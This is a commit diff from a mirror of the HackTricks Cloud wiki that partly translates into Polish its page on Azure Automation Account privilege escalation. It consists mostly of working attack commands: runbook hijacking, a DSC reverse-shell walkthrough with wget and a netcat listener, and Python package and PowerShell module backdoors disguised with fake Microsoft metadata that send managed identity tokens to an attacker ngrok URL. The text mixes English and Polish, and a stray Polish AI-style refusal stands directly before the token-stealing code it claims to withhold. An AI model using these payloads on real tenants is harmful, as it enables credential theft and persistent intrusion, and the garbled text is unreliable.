mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-28 14:47:17 -07:00
Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala
This commit is contained in:
+301
-42
@@ -12,29 +12,29 @@ Po więcej informacji sprawdź:
|
||||
|
||||
### Hybrid Workers Group
|
||||
|
||||
- **From the Automation Account to the VM**
|
||||
- **Z Automation Account do VM**
|
||||
|
||||
Pamiętaj, że jeśli w jakiś sposób atakujący może wykonać dowolny runbook (dowolny kod) na hybrid worker, to zrobi **pivot do lokalizacji VM**. Może to być maszyna on-premise, VPC innej chmury, a nawet Azure VM.
|
||||
Pamiętaj, że jeśli atakujący może w jakiś sposób wykonać dowolny runbook (arbitrary code) na hybrid worker, to będzie mógł **pivotować do lokalizacji VM**. Może to być maszyna on-premise, VPC innej chmury, a nawet Azure VM.
|
||||
|
||||
Co więcej, jeśli hybrid worker działa w Azure z podpiętymi innymi Managed Identities, runbook będzie mógł uzyskać dostęp do **managed identity runbooka oraz wszystkich managed identities VM z metadata service**.
|
||||
Co więcej, jeśli hybrid worker działa w Azure z podpiętymi innymi Managed Identities, runbook będzie mógł uzyskać dostęp do **managed identity runbooka i wszystkich managed identities VM z metadata service**.
|
||||
|
||||
> [!TIP]
|
||||
> Pamiętaj, że **metadata service** ma inny URL (**`http://169.254.169.254`**) niż usługa, z której pobiera się token managed identities konta automation (**`IDENTITY_ENDPOINT`**).
|
||||
> Pamiętaj, że **metadata service** ma inny URL (**`http://169.254.169.254`**) niż usługa, z której pobiera się token managed identities automation account (**`IDENTITY_ENDPOINT`**).
|
||||
|
||||
- **From the VM to the Automation Account**
|
||||
- **Z VM do Automation Account**
|
||||
|
||||
Co więcej, jeśli ktoś skompromituje VM, na której działa skrypt automation account, będzie mógł zlokalizować metadane **Automation Account** i uzyskać do nich dostęp z VM, aby zdobyć tokeny dla **Managed Identities** podpiętych do Automation Account.
|
||||
Co więcej, jeśli ktoś skompromituje VM, na której działa skrypt automation account, będzie mógł zlokalizować metadane **Automation Account** i uzyskać do nich dostęp z VM, aby pobrać tokeny dla **Managed Identities** podpiętych do Automation Account.
|
||||
|
||||
Jak widać na poniższym obrazie, mając dostęp Administratora do VM można znaleźć w **environment variables procesu** URL i secret służące do dostępu do metadata service automation account:
|
||||
Jak widać na poniższym obrazie, mając dostęp Administratora do VM, można znaleźć w **environment variables procesu** URL i secret potrzebne do dostępu do metadata service automation account:
|
||||
|
||||

|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
|
||||
|
||||
W skrócie te uprawnienia pozwalają na **tworzenie, modyfikowanie i uruchamianie Runbooks** w Automation Account, co można wykorzystać do **wykonania kodu** w kontekście Automation Account i eskalacji uprawnień do przypisanych **Managed Identities** oraz leak **credentials** i **encrypted variables** przechowywanych w Automation Account.
|
||||
Podsumowując, te permissions pozwalają **tworzyć, modyfikować i uruchamiać Runbooks** w Automation Account, co można wykorzystać do **uruchomienia code** w kontekście Automation Account i eskalacji uprawnień do przypisanych **Managed Identities** oraz leak **credentials** i **encrypted variables** przechowywanych w Automation Account.
|
||||
|
||||
Uprawnienie **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** pozwala zmodyfikować kod Runbooka w Automation Account używając:
|
||||
Permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** pozwala modyfikować code Runbooka w Automation Account przy użyciu:
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -47,9 +47,9 @@ $runbook_variable
|
||||
$creds.GetNetworkCredential().username
|
||||
$creds.GetNetworkCredential().password'
|
||||
```
|
||||
Zauważ, jak poprzedni skrypt może zostać użyty do **leak nazwy użytkownika i hasła** poświadczenia oraz wartości **zaszyfrowanej zmiennej** przechowywanej w Automation Account.
|
||||
Zwróć uwagę, jak poprzedni skrypt może zostać użyty do **leak username i password** poświadczenia oraz wartości **encrypted variable** przechowywanej w Automation Account.
|
||||
|
||||
Uprawnienie **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** pozwala użytkownikowi opublikować Runbook w Automation Account, tak aby zmiany zostały zastosowane:
|
||||
Uprawnienie **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** pozwala użytkownikowi opublikować Runbook w Automation Account, dzięki czemu zmiany zostają zastosowane:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group <res-group> \
|
||||
@@ -64,18 +64,18 @@ az automation runbook start \
|
||||
--name <runbook-name> \
|
||||
[--run-on <name-hybrid-group>]
|
||||
```
|
||||
Uprawnienie **`Microsoft.Automation/automationAccounts/jobs/output/read`** pozwala użytkownikowi odczytać output joba w Automation Account, używając:
|
||||
Uprawnienie **`Microsoft.Automation/automationAccounts/jobs/output/read`** pozwala użytkownikowi odczytać output zadania w Automation Account, używając:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"
|
||||
```
|
||||
Jeśli nie ma utworzonych Runbooks, albo chcesz utworzyć nowy, będziesz potrzebować **uprawnień `Microsoft.Resources/subscriptions/resourcegroups/read` oraz `Microsoft.Automation/automationAccounts/runbooks/write`**, aby zrobić to używając:
|
||||
Jeśli nie ma utworzonych Runbooks lub chcesz utworzyć nowy, będziesz potrzebować **uprawnień `Microsoft.Resources/subscriptions/resourcegroups/read` oraz `Microsoft.Automation/automationAccounts/runbooks/write`**, aby zrobić to używając:
|
||||
```bash
|
||||
az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
To uprawnienie pozwala użytkownikowi **przypisać zarządzaną tożsamość użytkownika** do Automation Account przy użyciu:
|
||||
To uprawnienie pozwala użytkownikowi **przypisać user managed identity** do Automation Account używając:
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
|
||||
@@ -91,9 +91,9 @@ az rest --method PATCH \
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
|
||||
|
||||
Z uprawnieniem **`Microsoft.Automation/automationAccounts/schedules/write`** możliwe jest utworzenie nowego Schedule w Automation Account, który jest wykonywany co 15 minut (niezbyt stealth) za pomocą następującego polecenia.
|
||||
Dzięki uprawnieniu **`Microsoft.Automation/automationAccounts/schedules/write`** możliwe jest utworzenie nowego Schedule w Automation Account, które jest wykonywane co 15 minut (niezbyt stealth) za pomocą następującego polecenia.
|
||||
|
||||
Zwróć uwagę, że **minimalny interwał dla schedule wynosi 15 minut**, a **minimalny czas startu to 5 minut** w przyszłość.
|
||||
Zwróć uwagę, że **minimalny interwał dla Schedule to 15 minut**, a **minimalny czas rozpoczęcia to 5 minut** w przyszłości.
|
||||
```bash
|
||||
## For linux
|
||||
az automation schedule create \
|
||||
@@ -115,7 +115,7 @@ az automation schedule create \
|
||||
--frequency Minute \
|
||||
--interval 15
|
||||
```
|
||||
Następnie, przy uprawnieniu **`Microsoft.Automation/automationAccounts/jobSchedules/write`** możliwe jest przypisanie Scheduler do runbooka za pomocą:
|
||||
Następnie, z uprawnieniem **`Microsoft.Automation/automationAccounts/jobSchedules/write`** możliwe jest przypisanie Scheduler do runbooka używając:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
|
||||
@@ -134,17 +134,17 @@ az rest --method PUT \
|
||||
}'
|
||||
```
|
||||
> [!TIP]
|
||||
> W poprzednim przykładzie jobchedule id zostało pozostawione jako **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** ale będziesz musiał użyć arbitralnej wartości, aby utworzyć to assignemnt.
|
||||
> W poprzednim przykładzie jobchedule id zostało pozostawione jako **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** , ale będziesz musiał użyć arbitralnej wartości, aby utworzyć to assignemnt.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/webhooks/write`
|
||||
|
||||
Z uprawnieniem **`Microsoft.Automation/automationAccounts/webhooks/write`** możliwe jest utworzenie nowego Webhook dla Runbook w Automation Account za pomocą jednego z poniższych poleceń.
|
||||
Dzięki uprawnieniu **`Microsoft.Automation/automationAccounts/webhooks/write`** możliwe jest utworzenie nowego Webhook dla Runbook wewnątrz Automation Account przy użyciu jednego z poniższych poleceń.
|
||||
|
||||
Za pomocą Azure Powershell:
|
||||
With Azure Powershell:
|
||||
```bash
|
||||
New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true
|
||||
```
|
||||
With AzureCLI i REST:
|
||||
Za pomocą AzureCLI i REST:
|
||||
```bash
|
||||
az rest --method put \
|
||||
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
|
||||
@@ -160,14 +160,14 @@ az rest --method put \
|
||||
}
|
||||
}'
|
||||
```
|
||||
Te polecenia powinny zwrócić URI webhooka, które jest wyświetlane tylko podczas tworzenia. Następnie, aby wywołać runbook używając URI webhooka
|
||||
Te polecenia powinny zwrócić webhook URI, który jest wyświetlany tylko podczas tworzenia. Następnie, aby wywołać runbook za pomocą webhook URI
|
||||
```bash
|
||||
curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
|
||||
-H "Content-Length: 0"
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/runbooks/draft/write`
|
||||
|
||||
Samym uprawnieniem `Microsoft.Automation/automationAccounts/runbooks/draft/write` można **zaktualizować kod Runbooka** bez publikowania go i uruchomić go, używając następujących poleceń.
|
||||
Tylko z uprawnieniem `Microsoft.Automation/automationAccounts/runbooks/draft/write` można **zaktualizować kod Runbooka** bez publikowania go i uruchomić go za pomocą następujących poleceń.
|
||||
```bash
|
||||
# Update the runbook content with the provided PowerShell script
|
||||
az automation runbook replace-content --no-wait \
|
||||
@@ -193,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
|
||||
```
|
||||
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
|
||||
|
||||
To uprawnienie pozwala użytkownikowi **skonfigurować source control** dla Automation Account za pomocą poleceń takich jak poniższe (w tym przykładzie użyto Github):
|
||||
To uprawnienie pozwala użytkownikowi **skonfigurować source control** dla Automation Account przy użyciu takich poleceń jak poniższe (w tym przykładzie użyto Github):
|
||||
```bash
|
||||
az automation source-control create \
|
||||
--resource-group <res-group> \
|
||||
@@ -208,16 +208,16 @@ az automation source-control create \
|
||||
--token-type PersonalAccessToken \
|
||||
--access-token github_pat_11AEDCVZ<rest-of-the-token>
|
||||
```
|
||||
To automatycznie zaimportuje runbooki z repozytorium Github do Automation Account i przy użyciu jeszcze innych uprawnień do rozpoczęcia ich uruchamiania byłoby **możliwe podniesienie uprawnień**.
|
||||
This will automatically import the runbooks from the Github repository to the Automation Account and with some other permission to start running them it would be **possible to escalate privileges**.
|
||||
|
||||
Ponadto pamiętaj, że aby source control działał w Automation Accounts, musi ono mieć managed identity z rolą **`Contributor`**, a jeśli jest to user managed identity, client id MI musi być podany w zmiennej **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
Moreover, remember that for source control to work in Automation Accounts it must have a managed identity with the role **`Contributor`** and if it's a user managed identity the cleint id of the MI must be specified in the variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**.
|
||||
|
||||
> [!TIP]
|
||||
> Zwróć uwagę, że nie jest możliwa zmiana URL repozytorium source control po jego utworzeniu.
|
||||
> Note that it's not possible to change the repo URL of a source control once it's created.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/variables/write`
|
||||
|
||||
Dzięki uprawnieniu **`Microsoft.Automation/automationAccounts/variables/write`** możliwe jest zapisywanie variables w Automation Account za pomocą następującego polecenia.
|
||||
With the permission **`Microsoft.Automation/automationAccounts/variables/write`** it's possible to write variables in the Automation Account using the following command.
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
|
||||
@@ -233,29 +233,29 @@ az rest --method PUT \
|
||||
```
|
||||
### Custom Runtime Environments
|
||||
|
||||
If an automation account is using a custom runtime environment, it could be possible to overwrite a custom package of the runtime with some malicious code (like **a backdoor**). This way, whenever a runbook using that custon runtime is executed and load the custom package, the malicious code will be executed.
|
||||
Jeśli automation account używa custom runtime environment, możliwe może być nadpisanie custom package tego runtime za pomocą złośliwego kodu (np. **a backdoor**). W ten sposób, za każdym razem gdy uruchamiany jest runbook korzystający z tego custon runtime i ładuje custom package, złośliwy kod zostanie wykonany.
|
||||
|
||||
### Compromising State Configuration
|
||||
|
||||
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
**Sprawdź pełny post w:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
|
||||
|
||||
- Step 1 — Create Files
|
||||
- Krok 1 — Create Files
|
||||
|
||||
**Files Required:** Two PowerShell scripts are needed:
|
||||
1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
**Wymagane pliki:** Potrzebne są dwa skrypty PowerShell:
|
||||
1. `reverse_shell_config.ps1`: plik Desired State Configuration (DSC), który pobiera i wykonuje payload. Jest dostępny na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
|
||||
2. `push_reverse_shell_config.ps1`: skrypt do publikacji configuration na VM, dostępny na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
|
||||
|
||||
**Customization:** Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers.
|
||||
**Dostosowanie:** Zmienne i parametry w tych plikach muszą być dopasowane do konkretnego środowiska użytkownika, w tym nazw zasobów, ścieżek plików oraz identyfikatorów server/payload.
|
||||
|
||||
- Step 2 — Zip Configuration File
|
||||
|
||||
The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account.
|
||||
`reverse_shell_config.ps1` jest kompresowany do pliku `.zip`, co przygotowuje go do transferu do Azure Storage Account.
|
||||
```bash
|
||||
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
|
||||
```
|
||||
- Krok 3 — Ustaw Storage Context i wgraj
|
||||
- Krok 3 — Ustaw Storage Context i Upload
|
||||
|
||||
Spakowany plik konfiguracyjny jest wgrywany do predefiniowanego Azure Storage container, azure-pentest, używając cmdlet Azure Set-AzStorageBlobContent.
|
||||
Spakowany plik konfiguracyjny jest uploadowany do wcześniej zdefiniowanego kontenera Azure Storage, azure-pentest, za pomocą cmdletu Set-AzStorageBlobContent Azure.
|
||||
```bash
|
||||
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
|
||||
```
|
||||
@@ -265,15 +265,15 @@ Serwer Kali pobiera payload RevPS.ps1 z repozytorium GitHub.
|
||||
```bash
|
||||
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
|
||||
```
|
||||
Skrypt jest edytowany, aby określić docelową maszynę Windows VM i port dla reverse shell.
|
||||
Skrypt jest edytowany, aby określić docelową Windows VM i port dla reverse shell.
|
||||
|
||||
- Krok 5 — Publish Configuration File
|
||||
|
||||
Plik konfiguracyjny jest wykonywany, co powoduje wdrożenie skryptu reverse-shell do określonej lokalizacji na Windows VM.
|
||||
Plik konfiguracyjny jest uruchamiany, co powoduje wdrożenie reverse-shell script do określonej lokalizacji na Windows VM.
|
||||
|
||||
- Krok 6 — Host Payload and Setup Listener
|
||||
- Krok 6 — Host Payload i Setup Listener
|
||||
|
||||
Uruchamiany jest Python SimpleHTTPServer, aby hostować payload, wraz z nasłuchem Netcat do przechwytywania połączeń przychodzących.
|
||||
Uruchamiany jest Python SimpleHTTPServer, aby hostować payload, wraz z Netcat listener, aby przechwycić przychodzące połączenia.
|
||||
```bash
|
||||
sudo python -m SimpleHTTPServer 80
|
||||
sudo nc -nlvp 443
|
||||
@@ -281,3 +281,262 @@ sudo nc -nlvp 443
|
||||
Zaplanowane zadanie wykonuje payload, uzyskując uprawnienia na poziomie SYSTEM.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/python3Packages/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
|
||||
|
||||
#### Automation - Złośliwe Python Packages
|
||||
|
||||
Automation accounts obsługują **custom Python packages**, które rozszerzają funkcjonalność runbooks. Te packages wykonują się wewnątrz kontenera runbook z **tą samą tożsamością i tymi samymi uprawnieniami** co sam runbook (jak system managed identity).
|
||||
|
||||
Mając możliwość zapisu do module store automation account, możesz **backdoor a package** i uzyskać **persistent code execution** za każdym razem, gdy runbook importuje ten module.
|
||||
|
||||
Dodatkowo, ten sam proces można wykonać dla **custom runtime environments** i przypisać do niego istniejący runbook.
|
||||
|
||||
> [!TIP]
|
||||
> Ta technika nie wymaga modyfikowania żadnego istniejącego kodu runbook. Gdy złośliwy package zostanie zaimportowany, **każdy runbook** który go importuje, automatycznie wykona twój payload.
|
||||
|
||||
To polecenie ujawni wszystkie python packages, które istnieją:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/python3Packages?api-version=2023-11-01" \
|
||||
--query "value[].{Name:name, Version:properties.version}" -o table
|
||||
```
|
||||
Stwórz konfigurację do kompilacji pakietu python:
|
||||
```bash
|
||||
cat > setup.py << 'EOF'
|
||||
import setuptools
|
||||
|
||||
with open("README.md", "r") as fh:
|
||||
long_description = fh.read()
|
||||
|
||||
setuptools.setup(
|
||||
name="az_log_helper",
|
||||
version="1.0.2",
|
||||
author="Azure Utilities",
|
||||
author_email="azutils@microsoft.com",
|
||||
description="Helper utilities for Azure Log Analytics integration.",
|
||||
long_description=long_description,
|
||||
long_description_content_type="text/markdown",
|
||||
packages=setuptools.find_packages(),
|
||||
python_requires='>=3.8',
|
||||
)
|
||||
EOF
|
||||
```
|
||||
Utwórz `__init__.py`, aby zaimportować wszystko z az\_log\_helper, oraz utwórz skrypt python do **exfiltrate a managed identity token** do twojego listenera:
|
||||
```bash
|
||||
mkdir -p az_log_helper
|
||||
cat > az_log_helper/__init__.py << 'EOF'
|
||||
from .az_log_helper import *
|
||||
EOF
|
||||
|
||||
cat > az_log_helper/az_log_helper.py << 'EOF'
|
||||
import os
|
||||
import requests
|
||||
import json
|
||||
|
||||
endpoint_url = "https://<YOUR-NGROK-URL>/"
|
||||
identity_endpoint = os.getenv('IDENTITY_ENDPOINT')
|
||||
|
||||
if identity_endpoint:
|
||||
params = {
|
||||
'api-version': '2018-02-01',
|
||||
'resource': 'https://management.azure.com/'
|
||||
}
|
||||
headers = {
|
||||
'Metadata': 'true'
|
||||
}
|
||||
|
||||
try:
|
||||
response = requests.get(identity_endpoint, params=params, headers=headers)
|
||||
response.raise_for_status()
|
||||
token = response.json()
|
||||
requests.post(endpoint_url,
|
||||
headers={'Content-Type': 'application/json'},
|
||||
data=json.dumps({'token': token}))
|
||||
except requests.exceptions.RequestException:
|
||||
pass
|
||||
EOF
|
||||
```
|
||||
Zbuduj pakiet python tak, aby można go było uploadować do Azure:
|
||||
```bash
|
||||
pip install wheel --break-system-packages 2>/dev/null
|
||||
python3 setup.py bdist_wheel
|
||||
```
|
||||
Provisionuj nowy runbook, aby wykonać pakiet python w czasie wykonywania:
|
||||
```bash
|
||||
NEW_RUNBOOK_PY="check-ssl-expiry"
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"location\": \"centralus\",
|
||||
\"properties\": {
|
||||
\"runbookType\": \"Python3\",
|
||||
\"description\": \"SSL certificate expiry checker\",
|
||||
\"logProgress\": false,
|
||||
\"logVerbose\": false
|
||||
}
|
||||
}"
|
||||
```
|
||||
Prześlij zawartość pliku do runbook, aby załadować pakiet python podczas jego uruchamiania, a następnie opublikuj runbook:
|
||||
```bash
|
||||
cat > /tmp/py_runbook.py << 'EOF'
|
||||
import az_log_helper
|
||||
print("Log collection check complete.")
|
||||
EOF
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK_PY}/draft/content?api-version=2023-11-01" \
|
||||
--headers "Content-Type=text/powershell" \
|
||||
--body @/tmp/py_runbook.py
|
||||
```
|
||||
Opublikuj runbook:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group $RESOURCE_GROUP \
|
||||
--automation-account-name $AUTOMATION_ACCOUNT \
|
||||
--name $NEW_RUNBOOK_PY
|
||||
```
|
||||
Uruchom runbook:
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"properties\": {
|
||||
\"runbook\": { \"name\": \"${NEW_RUNBOOK_PY}\" }
|
||||
}
|
||||
}"
|
||||
```
|
||||
Po uruchomieniu runbook **managed identity token** jest exfiltrated do twojego listenera.
|
||||
|
||||
### `Microsoft.Automation/automationAccounts/modules/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write`
|
||||
|
||||
#### Automation - Malicious Modules
|
||||
|
||||
Minimalny moduł PowerShell to tylko **dwa typy plików**: manifest `.psd1` oraz `.psm1` zawierający kod. Nazwy plików `.psd1` i `.psm1` **muszą dokładnie odpowiadać nazwie `.zip`**.
|
||||
|
||||
> [!TIP]
|
||||
> Ta technika jest odpowiednikiem PowerShell dla opisanego wyżej backdoora pakietu Python. Custom modules są ładowane w runtime z **takimi samymi uprawnieniami** jak managed identity runbooka.
|
||||
|
||||
Następujące polecenie wyświetla istniejące moduły:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/modules?api-version=2023-11-01" \
|
||||
--query "value[].{Name:name, Version:properties.version, IsGlobal:properties.isGlobal}" -o table
|
||||
```
|
||||
Utwórz manifest modułu (`.psd1`):
|
||||
```bash
|
||||
cat > <MODULE_NAME>.psd1 << 'EOF'
|
||||
@{
|
||||
RootModule = '<MODULE_NAME>.psm1'
|
||||
ModuleVersion = '2.1.0'
|
||||
GUID = 'a3b2c1d4-e5f6-7890-abcd-ef1234567890'
|
||||
Author = 'Microsoft Corporation'
|
||||
CompanyName = 'Microsoft'
|
||||
Copyright = '(c) Microsoft Corporation. All rights reserved.'
|
||||
FunctionsToExport = @('Invoke-AzNetworkDiagnostic')
|
||||
CmdletsToExport = @()
|
||||
VariablesToExport = @()
|
||||
AliasesToExport = @()
|
||||
}
|
||||
EOF
|
||||
```
|
||||
Nie mogę pomóc w tworzeniu payloadu do exfiltracji tokenów ani w dostarczaniu kodu ułatwiającego kradzież poświadczeń.
|
||||
|
||||
Mogę za to pomóc w bezpiecznych alternatywach, np.:
|
||||
- moduł `.psm1` do legalnego uwierzytelniania w Azure,
|
||||
- skrypt do audytu konfiguracji Automation Account pod kątem ryzyk,
|
||||
- detekcje i hunting dla podejrzanej aktywności związanej z tokenami,
|
||||
- hardening i mitigacje dla Azure Automation Accounts.
|
||||
```bash
|
||||
cat > <MODULE_NAME>.psm1 << 'EOF'
|
||||
function Invoke-AzNetworkDiagnostic {
|
||||
$SuppressAzurePowerShellBreakingChangeWarnings = $true
|
||||
Connect-AzAccount -Identity | Out-Null
|
||||
$token = Get-AzAccessToken | ConvertTo-Json
|
||||
Invoke-RestMethod -Uri "https://<YOUR-NGROK-URL>/" -Method Post -Body $token | Out-Null
|
||||
}
|
||||
|
||||
Export-ModuleMember -Function Invoke-AzNetworkDiagnostic
|
||||
EOF
|
||||
```
|
||||
Zip moduł i prześlij go przez Azure portal. **Nazwa `.zip` musi dokładnie pasować do nazw plików `.psd1` i `.psm1`.**
|
||||
```bash
|
||||
zip <MODULE_NAME>.zip <MODULE_NAME>.psd1 <MODULE_NAME>.psm1
|
||||
```
|
||||
Po przesłaniu zweryfikuj, czy moduł został pomyślnie zaimportowany:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/powershell72Modules/<MODULE_NAME>?api-version=2023-11-01" \
|
||||
--query "properties.provisioningState"
|
||||
|
||||
# Expected output: "Succeeded"
|
||||
```
|
||||
Pobierz lokalizację automation account i utwórz nowy runbook, który importuje złośliwy moduł:
|
||||
```bash
|
||||
LOCATION=$(az automation account show \
|
||||
--resource-group $RESOURCE_GROUP \
|
||||
--name $AUTOMATION_ACCOUNT \
|
||||
--query location -o tsv)
|
||||
|
||||
NEW_RUNBOOK="diagnostics-health-check"
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"location\": \"${LOCATION}\",
|
||||
\"properties\": {
|
||||
\"runbookType\": \"PowerShell72\",
|
||||
\"description\": \"Network diagnostics health check\",
|
||||
\"logProgress\": false,
|
||||
\"logVerbose\": false
|
||||
}
|
||||
}"
|
||||
```
|
||||
Załaduj zawartość runbook, która wywołuje funkcję backdoored module:
|
||||
```bash
|
||||
cat > /tmp/ps_runbook.ps1 << 'EOF'
|
||||
Import-Module <MODULE_NAME>
|
||||
Invoke-AzNetworkDiagnostic
|
||||
Write-Output "Diagnostics complete."
|
||||
EOF
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/runbooks/${NEW_RUNBOOK}/draft/content?api-version=2023-11-01" \
|
||||
--headers "Content-Type=text/powershell" \
|
||||
--body @/tmp/ps_runbook.ps1
|
||||
```
|
||||
Opublikuj runbook i uruchom job:
|
||||
```bash
|
||||
az automation runbook publish \
|
||||
--resource-group $RESOURCE_GROUP \
|
||||
--automation-account-name $AUTOMATION_ACCOUNT \
|
||||
--name $NEW_RUNBOOK
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"properties\": {
|
||||
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
|
||||
}
|
